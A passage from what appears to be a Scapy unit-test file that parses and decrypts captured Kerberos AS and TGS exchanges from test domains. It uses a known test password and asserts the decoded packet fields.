\\x0b\\x9d\\x96\\xaa_,O\\xe2 @4;\\x1f!\\x12\\x8e\\xf3h\\xbc\\x95\\xa2\\xcfE\\xaey\\\\U\\xdcc\\xbe\\xecN\\x9e\\xaa\\x9d\\x83\\x1a\\x9ad\\x11\\x15X\\xdf)L\\xd8Z\\xe3\\xa2&\\x1c\\x1b\\xf8\\xd1\\x8e\\xfb~\\xdd\\x16^\\xfa\\xf9\\x15\\x96s\\x03\\xf8T\\x86\\x12B\\xdf\\xf7m@\\xfa\\xf5L\\xdd\\xb6\\xa8\\x9af\\x90\\x90\\xcd\\xa9\\xdf\\x97`\\xd3\\x1c)\\xc5n\\xe8\\xc1\\xe0\\xb4\\xc7\"\\x16\\x91<}\\n\\x94\\xec\\x8d\\xc6.d\\xe1\\xf5/i\\x89$\\x9a\\xebW\\x0c\\xf7\\xfe\\xc5\\x12\\x10\\xb8\\xa5\\x193\\x88hR\\xa0\\xf7t\\xa9\\xc6\\xc2\\x15E\\xbd\\xd6\\xf09\\x1d\\x12\\x83o\\xb35>o\\xa0\\x98\\xda\\xf2\\xad-1\\xd0\\x94\\x12Be\\xe0\\x04\\xe0\\xf7\\xcf\\xbbAZ\\xf5\\x1c\\x88\\xf5\\xef\\xb2\\x9bi\\xdc\\xd0\\x07\\x8f\\xca\\r^\\x92\\x02\\x15\\x87\\xef\\xd5\\x90\\xb5')\n\nassert isinstance(pkt.root, KRB_TGS_REP)\nassert pkt.root.cname[0].nameString[0] == b'Administrator'\nassert isinstance(pkt.root.ticket, KRB_Ticket)\nassert pkt.root.ticket.sname.nameString == [b'ldap', b'localdc.samba.example.com']\nassert len(pkt.root.ticket.encPart.cipher.val) == 891\nassert pkt.root.encPart.etype == 0x12\n\n+ Kerberos dissection and decryption tests\n\n# For the following tests, we use an account with no preauth and request a DES-CBC-MD5 sessionkey on Windows.\n# (unconventional but allows us to test edge cases)\n\n= Create Key (RC4_HMAC)\n\nfrom scapy.libs.rfc3961 import EncryptionType, Key\nkey = Key.string_to_key(EncryptionType.RC4_HMAC, \"Password1!\", None)\nassert key.key == b'\\x7f\\xac\\xdcI\\x8e\\xd1h\\x0cO\\xd1D\\x83\\x19\\xa8\\xc0O'\n\n= Parse AS-REQ (no preauth)\n\npkt = KerberosTCPHeader(b'\\x00\\x00\\x00\\xd4j\\x81\\xd10\\x81\\xce\\xa1\\x03\\x02\\x01\\x05\\xa2\\x03\\x02\\x01\\n\\xa3\\x150\\x130\\x11\\xa1\\x04\\x02\\x02\\x00\\x80\\xa2\\t\\x04\\x070\\x05\\xa0\\x03\\x01\\x01\\xff\\xa4\\x81\\xaa0\\x81\\xa7\\xa0\\x07\\x03\\x05\\x00@\\x81\\x00\\x00\\xa1\\x120\\x10\\xa0\\x03\\x02\\x01\\x01\\xa1\\t0\\x07\\x1b\\x05User1\\xa2\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xa3!0\\x1f\\xa0\\x03\\x02\\x01\\x02\\xa1\\x180\\x16\\x1b\\x06krbtgt\\x1b\\x0cDOMAIN.LOCAL\\xa5\\x11\\x18\\x0f20231213110146Z\\xa6\\x11\\x18\\x0f20231213110146Z\\xa7\\x06\\x02\\x048\\xa6\\xb8x\\xa8\\x080\\x06\\x02\\x01\\x03\\x02\\x01\\x17\\xa9\\x1d0\\x1b0\\x19\\xa0\\x03\\x02\\x01\\x14\\xa1\\x12\\x04\\x10WIN10           ')\n\nassert pkt.len == 212\nassert pkt.root.padata[0].padataValue.includePac\nassert pkt.root.reqBody.etype == [0x3, 0x17]\n\n= Parse and decrypt AS-REP (no preauth, RC4)\n\npkt = KerberosTCPHeader(b'\\x00\\x00\\x06\\x1dk\\x82\\x06\\x190\\x82\\x06\\x15\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x0b\\xa3\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xa4\\x120\\x10\\xa0\\x03\\x02\\x01\\x01\\xa1\\t0\\x07\\x1b\\x05User1\\xa5\\x82\\x04\\xa0a\\x82\\x04\\x9c0\\x82\\x04\\x98\\xa0\\x03\\x02\\x01\\x05\\xa1\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xa2!0\\x1f\\xa0\\x03\\x02\\x01\\x02\\xa1\\x180\\x16\\x1b\\x06krbtgt\\x1b\\x0cDOMAIN.LOCAL\\xa3\\x82\\x04\\\\0\\x82\\x04X\\xa0\\x03\\x02\\x01\\x12\\xa1\\x03\\x02\\x01\\x03\\xa2\\x82\\x04J\\x04\\x82\\x04Fm[\\x1a\\xa0G\\xd5 \\xee\\x9c\\x0c\\t\\xfb\\xc3\\xee\\xd8Ki\\xca\\xaa6~\\x87\\x0fu\\xde\\xfd\\x8d9\\trl\\x9d\\xe9\\xf0\\x10\\x0b\\x85SO\\xc2\\xae0\\xb1\\xc1\\x9a\\x8c\\xa0\\xcb/\\xad\\x94\\xaa\\xe0\\xb1R\\'C\\xd0uqw\\'\\xa6zF\\x9d7\\xf7\\x08\\xd8[(\\xd5\\x11\\xc6:\\xf5\\r:\\xde\\xf9\\xdd\\xd9/T\\xaa\\xe1Q/\\x9eD\\x91\\x01\\xa8X\\xf0O\\xde\\x88\\xcb\\xc4\\xc7\\x87\\xb1pv\\xd4\\xb0r\\xc1\\x10\\x80W9\\xf7\\xe7+\\xd9M:\\xf2\\x8f\\xdf\\xa4\\xc1\\xa5\\x95lU\\xc02A\\rf\\x0b\\xef\\xc8\\xc9A\\'\\x87\\xff\\x92W\\xd4\\xed\\xb9\\xd0|{\\\\\\xbd\\xf2\\xfb%h\\xe3\\xb8\\xccs\\xec_\\xe7\\xf9\\x90\\xae\\xb8E\\xab\\xf6!\\xe6z@\\xf1-nO\\xcf X\\x1eh\\x86L\\xba\\x0ef_\\xde]\\xe2_\\x94\\xb0\\x13\\xccN\\r/\\xd3\\xf2\\x81\\x07\\x1b\\x14\\xfd6\\x00Y~\\xc0?\\xaeYb\\x7f\\x16\\x139\\xe5P:\\x93\\xe3N3\\x08iB\\xc5m\\xa3\\xb5\\x10d\\xd1~\\x0eb~wk{u\\xec\\xbe_!w{\\xb7Z\\\\\\xcf\\xf5\\xd9\\xc3\\xea\\xe5\\xfd\\xfd\\x03\\x18\\x07\\xab\\xe3\\x06\\x07\\x9a\\xa1\\x9c\\xc2C.\\x0e\\xb7c\\x14\\xf6\\\\\\xd2\\x82\\xf2\\xfc\\x01>\\xed\\xfb6&<\\x8f\\xab\\xe0\\xfe5\\x86!e{\\xadr\\xa3\\xab\\x87\\xbc;p\\xbdh|\\x04\\xf5\\xffJ6\\x94\\xca\\xacLc\\xeb\\x91\\x14\\xb94\\xe7\\xf4k+_V\\xefh\\xd4G@\\x16\\xc7?\\x92\\x94\\xa3\\x87\\x81#\\xbc\\xa6>\\xefh\\xdd\\x91\\xe2\\xce\\x06\\xba+\\x96\\x83\\xb5n\\xb2\\x0c\\xc3\\xf9\\x1f\\x15\\xe8\\xba\\x10\\xf7V\\x8b\\xf4\\xc1Rg\\x86S\\xfa\\x89\\x90\\xe4\\xceJ\\x8d4\\xc1Bh\\xb5S\\xa8\\']8z,j-z\\x0c\\xc28Z\\x06d\\xd9\\x90\\x19\\xf4\\xc2)\\xc7\\x86\\x9dk\\x17{\\x12/\\t\\x8a.\\xc4\\xe7\\xdb~t\\x92\\xadx\\xb2\\x91\\xb5\\x96@\\xf6\\xa8ftuM\\xdf\\x17\\xc4V\\xa0y\\xd0\\xdf\\x1f\\x1a\\xc9y>\\xc0\\xd1\\x85\\xde\\xf4\\xee#\\xc8\\x82F\\xc8H\\xa6h\\xe8\\x02H\\x9bE5U`o\\x98\\xc0P\\x9c\\xd9L\\xb9D\\xff\\xd8G\\xd0k\\xc0\\x07\\xda\\xd2#\\xc3\"\\xb7\\xb8\\xf2)\\x9c\\x164\\xaa\\xe4\\x18-i(\\xabn\\xb7\\xeaB5\\xe4\\xb7\\xdc$$\\x9e|\\xcdA\\x03\\xf3\\xd7n\\xd3\\xc1\\xd7\\xe6e\\xb6\\\\\\xd3)\\xfah\\xb7\\x88\\x0e\\xeby \\xfe\\xd2!.Q\\xa0\\x97\\xa8\\xe2O\\x1d\\x99\\x02#9\\xf4\\x1c\\x0e\\x1fN\\xc9;\\xd5?\\x0fm=\\xee\\x0efj\\xc1\\xcb\\x14\\xb5\\xa9}\\xe2:F\\xd7\\x1d\\x07\\xfd\\xaf\\x96D\\xfc\\x007q\\x11\\xe1\\xf6\\x12\\xdc%\\xf7\\x92ML\\xbfH$\\x10\\x8a\\xb9\\xfbp\\x9b\\xff\\x07\\\\N\\x83\\xf5\\x11\\xaex\\xf2\\x171F\\xe3\\xfc\\xf6\\x89\\xc3\\xdf]\\xaa:\\x8f\\x99\\'\\x16` P\\xe6X\\x04\\xe9@\\x89\\x90\\x8cP\\xc5b\\xf82\\t+\\x14+\\xb7\\xa3\\xfa\\xba\\xa4*r\\xb41i\\x070!\\xba\\xc8\\xb17\\x06\\x12\\xf2\\xce\\xa0\\t9P\\xd9]\\xe4p1i\\xf3\\xed\\xc0oT\\'\\x99\\xc0\\x7f\\xa8s\\x0bW\\xc7S\\x90w\\xe6\\xa7\\x91\\xe1\\x84\\xd3V5$\\x92\\xa3\\x81\\x90\\x02\\xdfVu\\xd7\\xb7x\\x13+p\\x8djP\\xfa\\x0eL\\xc5}=\\x12t\\xc3\\xa6\\xa5\\x12\\xd9H+w\\xea\\t\\x92km\\xf9$\\x0c\\xa0Y\\xda\\xea\\x15\\xd0\\xa1\\xbe\\x85\\xa3\\xd3\\x9fQ\\x1a\\xd8A\\xabf\\x9d\\x9c \\x19\\xa5\\x8e\\t\\xb4<H)\\xcf\\xf6\\xb9zBX\\x1a*\\xe3\\x13+\\xad\\x0f\\x9bq\\xdfO\\x88N\\x00hh\\x82\\xd5\\xbc\\x0fq\\xf2\\xe9\\x1b}\\x9f\\xcc\\xdb\\x12z\\xfe\\x8c\\xfdn\\xb9\\xa2i\\xa8ev\\xc6\\xca\\x8ak\\xe2A\\xab!\\xfa\\xe5\\xef\\x14HL\\xfa-\\x11w\\x8d\\x84B\\xeaB\\xcc\\xa0\\xe7w\\xb6\\x0cL\\x05\\xc4\\xc5{E\\xbfu\\xe4_p*%\\xba\\x08 \\xab\\xd1=\\xef\\xc0\\x1e\\xb9%\\x8cVh\\x9bg\\x89e\\x0b\\xc2\\xc8}\\x1eOI\\xa3\\x0c\\xce\\xb5\\x98\\x96\\xeb\\xae!\\xff_\\x07T.e\\xf3F\\xc5F\\xb62\\xeb\\x05f\\x0c.1\\xb6\\x96\\xe1\\x9d\\xb1\\x0e\\xa8`\\xcdhUY%\\xcc\\x01\\tX\\x1f\\x11\\xfb\\xd6\\xc6P\\xff\\xefyeY+\\x18!\\xbcD\\x8a\\r\\xb51\\x96\\xe0%\\x1c\\x0f}X\\x80\\x93\\xda\\xba\\x85\\x1e.\\xc69\\xb9\\xd1\\xc3\\xa1\\x13\\xc4\\x1a\\x98\\xcb&\\x88\\x9aT\\xbe\\xaf\\tI\\xdc\\xbc\\x07\\x8by\\x7f\\xf2nk\\xb2\\x03}\\xd1!\\x87\\xdb\\xc1\\x96\\xfa\\xb6\\xdc\\xcdJ\\x8bn\\xa4&\\xcc\\xda\\xa5\\xd5,\\xc2\\xdd\\x7f\\x8e\\xf1t\\xae\\x01\\xb1tE\\xd7\\xc0{\\xf2\\xfe\\\\]\\x91E\\xdfS\\x80V\\xb5\\xe2\\xd4\\x85\\xa7@p^\\x97$N\\x8f\\xb2\\x98\\xd68\\xd4\\xaaM`\\xaer\\xa0\\x1c\\x0e\\xf4\\xb5\\xbf\\'q-\\x8b\\x9a\\xb7\\xd6\\xa6\\x82\\x01?0\\x82\\x01;\\xa0\\x03\\x02\\x01\\x17\\xa1\\x03\\x02\\x01\\x19\\xa2\\x82\\x01-\\x04\\x82\\x01)\\xbe\\x0c\\x10Lz\\xc3\\x17\\x0ff\\xe6\\xf0\\xfeZg\\xf4-\\xfbX\\xbelH\\xe6_S\\xd9+4\\x14s\\xb4\\xa6\\'\\xaa\\n.\\x06\\x9f\\x17\\xe3\\xb8+U\\xc1\\xad\\x06k=\\x08]Pu\\x06\\xfa\\x1b\\xa9\\xe8\\x90\\xe5h\\xfc\\xf2\\x86S\\xe9J\\x11\\xbc\\x8a5ox\\x1et\\x9c\\xe9\\\\M\\xa8\\xe7\\xd3\\x7f\\x1e\\xa5\\xa4Ox\\xfdP\\x14y^\\rn.\\xe3V\\xfczdQ\\xbe#5\\x9f\\xbe\"+\\xb6\\xbaA\\x12\\xcc\\x84\\xc8\\x99)l\\x90g\\xde\\x9b\\xd5\\xb9v\\x036E\\x18\\xc7G\\x1d\\x1dI\\xcd\\xe9\\xa7\\xf7\\x99\\x92-j\\x95B\\xae \\x8d6$.UrS)\\xe5&m\\x85A\\x87\\xdd\\r\\xdbVZ>c\\xac\\xe3\\x99\\x00\\xf4i\\xc4\\x14c\\xd7h\\xd3\\xc6x\\x11\\xa5\\xa0`\\xe5\\x8d\"\\xae\\xa3\\xa7\\xba\\xb8\\xc4~\\x87\\xad\\x1d\\xa6\\x19\\xe3v\\xdd^(-w7d\\xd1\\xb0D<\\xeaW\\x84\\x90=\\x9e\\xee\\xa3\\xe3u\\xa7\\x074\\xf3:6{\\xbd-\\x87\\xfee\\xd6b\\x8a\\xe5\\xa9v\\x0c\\xe8N\\x1c\\x10\\x12\\x91\\x1e~\\x92\\x02Uh)\\xdd\\xb5f\\xf9\\xcc\\xadf\\xf3:\\xa7\\x9f\\xfd\\xe1>\\xd19\\x10U1\\xf0\\xf8\\xb1G\\xe8H\\xcb!h\\xab\\x14q\\xe51d\\xb2A\\xf07\\xda\\x11\\x81\\xd9\\xff')\n\nassert pkt.root.cname.nameString[0].val == b'User1'\n\nasrep = pkt.root.encPart.decrypt(key)\nsessionkey = asrep.key.toKey()\nassert asrep.encryptedPaData[0].padataValue.flags == 0x5001f\n\n= Parse and decrypt TGS-REQ (DES-CBC-MD5)\n\npkt = KerberosTCPHeader(b'\\x00\\x00\\x05\\xd1l\\x82\\x05\\xcd0\\x82\\x05\\xc9\\xa1\\x03\\x02\\x01\\x05\\xa2\\x03\\x02\\x01\\x0c\\xa3\\x82\\x05=0\\x82\\x0590\\x82\\x055\\xa1\\x03\\x02\\x01\\x01\\xa2\\x82\\x05,\\x04\\x82\\x05(n\\x82\\x05$0\\x82\\x05 \\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\x0e\\xa2\\x03\\x03\\x01\\x00\\xa3\\x82\\x04\\xa0a\\x82\\x04\\x9c0\\x82\\x04\\x98\\xa0\\x03\\x02\\x01\\x05\\xa1\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xa2!0\\x1f\\xa0\\x03\\x02\\x01\\x02\\xa1\\x180\\x16\\x1b\\x06krbtgt\\x1b\\x0cDOMAIN.LOCAL\\xa3\\x82\\x04\\\\0\\x82\\x04X\\xa0\\x03\\x02\\x01\\x12\\xa1\\x03\\x02\\x01\\x03\\xa2\\x82\\x04J\\x04\\x82\\x04Fm[\\x1a\\xa0G\\xd5 \\xee\\x9c\\x0c\\t\\xfb\\xc3\\xee\\xd8Ki\\xca\\xaa6~\\x87\\x0fu\\xde\\xfd\\x8d9\\trl\\x9d\\xe9\\xf0\\x10\\x0b\\x85SO\\xc2\\xae0\\xb1\\xc1\\x9a\\x8c\\xa0\\xcb/\\xad\\x94\\xaa\\xe0\\xb1R\\'C\\xd0uqw\\'\\xa6zF\\x9d7\\xf7\\x08\\xd8[(\\xd5\\x11\\xc6:\\xf5\\r:\\xde\\xf9\\xdd\\xd9/T\\xaa\\xe1Q/\\x9eD\\x91\\x01\\xa8X\\xf0O\\xde\\x88\\xcb\\xc4\\xc7\\x87\\xb1pv\\xd4\\xb0r\\xc1\\x10\\x80W9\\xf7\\xe7+\\xd9M:\\xf2\\x8f\\xdf\\xa4\\xc1\\xa5\\x95lU\\xc02A\\rf\\x0b\\xef\\xc8\\xc9A\\'\\x87\\xff\\x92W\\xd4\\xed\\xb9\\xd0|{\\\\\\xbd\\xf2\\xfb%h\\xe3\\xb8\\xccs\\xec_\\xe7\\xf9\\x90\\xae\\xb8E\\xab\\xf6!\\xe6z@\\xf1-nO\\xcf X\\x1eh\\x86L\\xba\\x0ef_\\xde]\\xe2_\\x94\\xb0\\x13\\xccN\\r/\\xd3\\xf2\\x81\\x07\\x1b\\x14\\xfd6\\x00Y~\\xc0?\\xaeYb\\x7f\\x16\\x139\\xe5P:\\x93\\xe3N3\\x08iB\\xc5m\\xa3\\xb5\\x10d\\xd1~\\x0eb~wk{u\\xec\\xbe_!w{\\xb7Z\\\\\\xcf\\xf5\\xd9\\xc3\\xea\\xe5\\xfd\\xfd\\x03\\x18\\x07\\xab\\xe3\\x06\\x07\\x9a\\xa1\\x9c\\xc2C.\\x0e\\xb7c\\x14\\xf6\\\\\\xd2\\x82\\xf2\\xfc\\x01>\\xed\\xfb6&<\\x8f\\xab\\xe0\\xfe5\\x86!e{\\xadr\\xa3\\xab\\x87\\xbc;p\\xbdh|\\x04\\xf5\\xffJ6\\x94\\xca\\xacLc\\xeb\\x91\\x14\\xb94\\xe7\\xf4k+_V\\xefh\\xd4G@\\x16\\xc7?\\x92\\x94\\xa3\\x87\\x81#\\xbc\\xa6>\\xefh\\xdd\\x91\\xe2\\xce\\x06\\xba+\\x96\\x83\\xb5n\\xb2\\x0c\\xc3\\xf9\\x1f\\x15\\xe8\\xba\\x10\\xf7V\\x8b\\xf4\\xc1Rg\\x86S\\xfa\\x89\\x90\\xe4\\xceJ\\x8d4\\xc1Bh\\xb5S\\xa8\\']8z,j-z\\x0c\\xc28Z\\x06d\\xd9\\x90\\x19\\xf4\\xc2)\\xc7\\x86\\x9dk\\x17{\\x12/\\t\\x8a.\\xc4\\xe7\\xdb~t\\x92\\xadx\\xb2\\x91\\xb5\\x96@\\xf6\\xa8ftuM\\xdf\\x17\\xc4V\\xa0y\\xd0\\xdf\\x1f\\x1a\\xc9y>\\xc0\\xd1\\x85\\xde\\xf4\\xee#\\xc8\\x82F\\xc8H\\xa6h\\xe8\\x02H\\x9bE5U`o\\x98\\xc0P\\x9c\\xd9L\\xb9D\\xff\\xd8G\\xd0k\\xc0\\x07\\xda\\xd2#\\xc3\"\\xb7\\xb8\\xf2)\\x9c\\x164\\xaa\\xe4\\x18-i(\\xabn\\xb7\\xeaB5\\xe4\\xb7\\xdc$$\\x9e|\\xcdA\\x03\\xf3\\xd7n\\xd3\\xc1\\xd7\\xe6e\\xb6\\\\\\xd3)\\xfah\\xb7\\x88\\x0e\\xeby \\xfe\\xd2!.Q\\xa0\\x97\\xa8\\xe2O\\x1d\\x99\\x02#9\\xf4\\x1c\\x0e\\x1fN\\xc9;\\xd5?\\x0fm=\\xee\\x0efj\\xc1\\xcb\\x14\\xb5\\xa9}\\xe2:F\\xd7\\x1d\\x07\\xfd\\xaf\\x96D\\xfc\\x007q\\x11\\xe1\\xf6\\x12\\xdc%\\xf7\\x92ML\\xbfH$\\x10\\x8a\\xb9\\xfbp\\x9b\\xff\\x07\\\\N\\x83\\xf5\\x11\\xaex\\xf2\\x171F\\xe3\\xfc\\xf6\\x89\\xc3\\xdf]\\xaa:\\x8f\\x99\\'\\x16` P\\xe6X\\x04\\xe9@\\x89\\x90\\x8cP\\xc5b\\xf82\\t+\\x14+\\xb7\\xa3\\xfa\\xba\\xa4*r\\xb41i\\x070!\\xba\\xc8\\xb17\\x06\\x12\\xf2\\xce\\xa0\\t9P\\xd9]\\xe4p1i\\xf3\\xed\\xc0oT\\'\\x99\\xc0\\x7f\\xa8s\\x0bW\\xc7S\\x90w\\xe6\\xa7\\x91\\xe1\\x84\\xd3V5$\\x92\\xa3\\x81\\x90\\x02\\xdfVu\\xd7\\xb7x\\x13+p\\x8djP\\xfa\\x0eL\\xc5}=\\x12t\\xc3\\xa6\\xa5\\x12\\xd9H+w\\xea\\t\\x92km\\xf9$\\x0c\\xa0Y\\xda\\xea\\x15\\xd0\\xa1\\xbe\\x85\\xa3\\xd3\\x9fQ\\x1a\\xd8A\\xabf\\x9d\\x9c \\x19\\xa5\\x8e\\t\\xb4<H)\\xcf\\xf6\\xb9zBX\\x1a*\\xe3\\x13+\\xad\\x0f\\x9bq\\xdfO\\x88N\\x00hh\\x82\\xd5\\xbc\\x0fq\\xf2\\xe9\\x1b}\\x9f\\xcc\\xdb\\x12z\\xfe\\x8c\\xfdn\\xb9\\xa2i\\xa8ev\\xc6\\xca\\x8ak\\xe2A\\xab!\\xfa\\xe5\\xef\\x14HL\\xfa-\\x11w\\x8d\\x84B\\xeaB\\xcc\\xa0\\xe7w\\xb6\\x0cL\\x05\\xc4\\xc5{E\\xbfu\\xe4_p*%\\xba\\x08 \\xab\\xd1=\\xef\\xc0\\x1e\\xb9%\\x8cVh\\x9bg\\x89e\\x0b\\xc2\\xc8}\\x1eOI\\xa3\\x0c\\xce\\xb5\\x98\\x96\\xeb\\xae!\\xff_\\x07T.e\\xf3F\\xc5F\\xb62\\xeb\\x05f\\x0c.1\\xb6\\x96\\xe1\\x9d\\xb1\\x0e\\xa8`\\xcdhUY%\\xcc\\x01\\tX\\x1f\\x11\\xfb\\xd6\\xc6P\\xff\\xefyeY+\\x18!\\xbcD\\x8a\\r\\xb51\\x96\\xe0%\\x1c\\x0f}X\\x80\\x93\\xda\\xba\\x85\\x1e.\\xc69\\xb9\\xd1\\xc3\\xa1\\x13\\xc4\\x1a\\x98\\xcb&\\x88\\x9aT\\xbe\\xaf\\tI\\xdc\\xbc\\x07\\x8by\\x7f\\xf2nk\\xb2\\x03}\\xd1!\\x87\\xdb\\xc1\\x96\\xfa\\xb6\\xdc\\xcdJ\\x8bn\\xa4&\\xcc\\xda\\xa5\\xd5,\\xc2\\xdd\\x7f\\x8e\\xf1t\\xae\\x01\\xb1tE\\xd7\\xc0{\\xf2\\xfe\\\\]\\x91E\\xdfS\\x80V\\xb5\\xe2\\xd4\\x85\\xa7@p^\\x97$N\\x8f\\xb2\\x98\\xd68\\xd4\\xaaM`\\xaer\\xa0\\x1c\\x0e\\xf4\\xb5\\xbf\\'q-\\x8b\\x9a\\xb7\\xd6\\xa4k0i\\xa0\\x03\\x02\\x01\\x03\\xa2b\\x04`(\\xa6\\xae\\x0fB\\x1e\\xc0CB1\\xc6\\xc45\\xb25K\\xf6\\xceT\\xce\\xe3\\x1a\\t\\x9am\\xed\\xe9Q\\x10\\xdb\\xd1~A\\x1b\"\\xe5\\xf8\"\\x8a\\x9d\\x02\\x12\\xb0\\xaf\\x17\\x1a\\x9f\\x17\"\\xac\\xbcCUU\\xe6\\x91\\xc6\\xe7E\\x17\\xd0B3HFH\\x16\\x9b\\xaf\\xc6\\x17J\\x8e\\xcb\\x05\\x1cY(M{\\x86U\\x171x\\xc72\\x18\\x87\\x0b\\xb9\\xab\\xfc\\x8d\\xb9\\xca\\xa4|0z\\xa0\\x07\\x03\\x05\\x00@\\x81\\x00\\x00\\xa2\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xa3#0!\\xa0\\x03\\x02\\x01\\x03\\xa1\\x1a0\\x18\\x1b\\x04cifs\\x1b\\x10dc1.domain.local\\xa5\\x11\\x18\\x0f20231213110146Z\\xa6\\x11\\x18\\x0f20231213110146Z\\xa7\\x06\\x02\\x04z3\\xe0j\\xa8\\x080\\x06\\x02\\x01\\x03\\x02\\x01\\x17\\xa9\\x020\\x00')\n\nassert pkt.root.reqBody.kdcOptions == '01000000100000010000000000000000'\nassert pkt.root.reqBody.etype == [0x3, 0x17]\n\napreq = pkt.root.padata[0].padataValue\nauth = apreq.authenticator.decrypt(sessionkey)\nassert auth.ctime == '20231213010146Z'\nassert auth.crealm == b'DOMAIN.LOCAL'\n\n= Parse and decrypt TGS-REP (DES-CBC-MD5)\n\npkt = KerberosTCPHeader(b'\\x00\\x00\\x05\\xdfm\\x82\\x05\\xdb0\\x82\\x05\\xd7\\xa0\\x03\\x02\\x01\\x05\\xa1\\x03\\x02\\x01\\r\\xa3\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xa4\\x120\\x10\\xa0\\x03\\x02\\x01\\x01\\xa1\\t0\\x07\\x1b\\x05User1\\xa5\\x82\\x04\\x9aa\\x82\\x04\\x960\\x82\\x04\\x92\\xa0\\x03\\x02\\x01\\x05\\xa1\\x0e\\x1b\\x0cDOMAIN.LOCAL\\xa2#0!\\xa0\\x03\\x02\\x01\\x03\\xa1\\x1a0\\x18\\x1b\\x04cifs\\x1b\\x10dc1.domain.local\\xa3\\x82\\x04T0\\x82\\x04P\\xa0\\x03\\x02\\x01\\x12\\xa1\\x03\\x02\\x01\\x0b\\xa2\\x82\\x04B\\x04\\x82\\x04>\\xcc@\\xf6_\\xdd\\x85\\xb9\\\\\\x9f\\xf5P\\'\\x9ae\\xf0\\x925\\x884W\\xde\\x9fn\\xb3q.\\x08e\\xd4\\t\\xf2;\\xb5\\xd0\\xcb\\xe8\\x1b\\x9e\\x15\\x83~ q]\\xdaw\\xd2X\\xac\\t=aV\\xa7\\x9c\\xfb\\xee\\xe2n\\xf7\\x9a\\xf1\\'t[\\xe2\\xcc\\xaeL\\xb9\\xe1\\xbc\\x87C\\xddG-\\xdeJ\\x9d\\x8d\\xa4\\xb4W\\x83\\xb8\\xf0(\\xa4\\x92\\xf9\\xa9OJ\\xb2s\\x07\\xfa*\\x0f\\xf9\\xbf\\x17Z\\x15\\xd5\\x867\\xe3\\xfd\\xa6r\\xb3\\x9f\\xca\\xb5\\x9dth\\n\\xc4\\xe3\\xc4P\\x08\\xfe\\xd6Fd=R\\xde\\xe6\\x80CC,\\xe9l=\\x89,\\x82\\xed\\xc5<\\xec \\x8b\\x19\\xe1\\x88\\xaf\\xf2\\x8b\\xbby\\x8f\\xf1\\x88\\x84?\\xcc\\xa4\\xb5\\x7f\\x84\\x99\\x9d\\x85\\xedEs\\xfc\\xc6f\\xfc\\xb8\\x04=\\xa5\\xcf\\x0f3\\xb3\\xed\\'\\x01\\xa2(\\xb5\\xec\\x1d9\\xcd\\x88%\\x86\\xf4u\\x91\\x11\\xe6O\\xfc:I7\\x1b\\xd4\\xc0\\x11u\\x80\\x1dt\\xc1\\x81\\xd5#\\x10\\xff4\\x03Fs;O^\\x0c\\xfb9v\\xcb\\rt\\xd2\\xfb\\xa3-\\x01\\\\\\xa4\\xd2\\x07\\xcdm\\xe4*\\x85)A\\xf6[\\xf7\\xbbOarb\\x0f\\xd8\\xbaq2LL%0\\x1c\\xc5\\xfa\\x94L-M\\xab\\x90<\\xb1\\x0e`\\x81%\\xc3\\x1b\\xe9\\x80\\n\\xf2\\x89}t\\x07\\xe6\\x9e\\x02\\x80\\x998@\\xd6G>\\x88\\x18\\x0e\\xdb\\xc329\\x7fD~\\xbe\\xac\\xc1\\xd9\\x05z\\x8aP\\x175\\xad\\xf90\\x13\\xaa\\x13/=|\\xf6T\\xb9\\xf5f\\x95\\xe1?\\xaf\\xca\\xbfq\\\\^\\xa2\\t\\xe9G\\x81\\xbd\\x01\\'\\x9a\\xed\\xe4\\x87\\xee\\xee\\xd1\\xaa\\xd4\\x1b\\xd45\\xa9\\xb1\\x14\\xc4\\x98)0\\xde9/\\xfe{~/\\xd3\\x05:|\\xd4\\x9d~\\xde\\xce\\x8a\\xd8\\x80\\xad\\xc6\\x19\\xddzk\\\\\\xb8$\\xafY/\\x90\\xd3*L\\xf7\\xf5V\\xd3\\xa7E\\x86\\xf1Y=\\x81\\xfd\\xcd\\xa6n\\xd3\\xe4\\xa362\\xb6\\xed\\xa5\\x8e\\xa4\\xb3\\x0eC\\xee^i^_\\xaa\\xf8\\xc1\\x93f\\x7f\\xb1\\xdcr\\xd8\\xcc\\x9bV\\x17\\xec\\x14W\\x0e\\xbcUPw\\x02\"/L\\xbc\\x1b\\xdb\\x8c\\x91G\\xae\\xfaI\\xfbY\\x8f\\x9d\\xa1\\xab\\xf0)\\xb0J\\x9b#\\xc4a\\xccw\\xc9\\xc3\\x89A3\\x9b\\xcc\\x87\\xccx\\xb2\\x8c\\xa4\\xb4\\xe6c\\xc9\\xd3Y:\\x1d\\xc8=\\xd8K\\x8bn\\xe7\\xf6\\xa3\\xf2\\xc7\\xe1\\xffm\\x14\\xf1m\\x80\\xb91\\x81`&\\xc5\\xab#Q+r\\x14\\xb4\\xa6!tI\\x8aNS\\x179r9\\x8b\\x95\\xbe\\xf8\\r\\xd0P\\x1f\\x06\\xe7\\xd7V\\xe3\\x06\\x98\\xec\\xa1\\xeby\\xe6cm\\x88\\xd3\\xd6<\\x1c\\xea\\x12%\\xb5\\x1b\\x9b\\r\\xe6\\xb4\\xfba\\x04\\x81\\xa2\\xd1W-x\\xe9\\xb9\\xc5e`\\xf1\\xcd\\x9e\\x83Z\\x10\\xeb-[\\xa0\\x95\\xe1]\\xf2)\\x0f+{fW6C\\x19$\\xddd\\x8a\\n\\xa4^\\xbe\\xf6\\n\\xe9\\x1eI\\x1fD\\xf5\\xdc9O\\xe95!\\xd9p\\x87\\x06\\xbbgCh\\x10\\xebjI\\xc9\\x13n\\x8e\\xa0\\x1bU\\xf3./\\xb1xU\\xab\\x1e\\xe1\\r\\xcd\\x8d\\xa4Od\\x14~R\\x83\\xe4F5r\\xbb\\xd8-{=\\xb5\\x9f<\\x1er\\xe7v\\xf7&8\\xdfD\\x9f\\xab/B\\xcf\\x0e\\x87\\xf4\\xc9G\\x8c\\x1e\\xf77Bem\\x96D)!t\\x1af\\xbe\\x84\\x91\\xe2\\x10\\x0bmb\\xee\\xa7%3\\x95\\xf6\\xdc\\xcd\\xfc\\xfd\\x00S\\xe3\\xa13\\xbc\\xa33m\\xfe\\xa4\\x91\\xc7\\xaeG%\\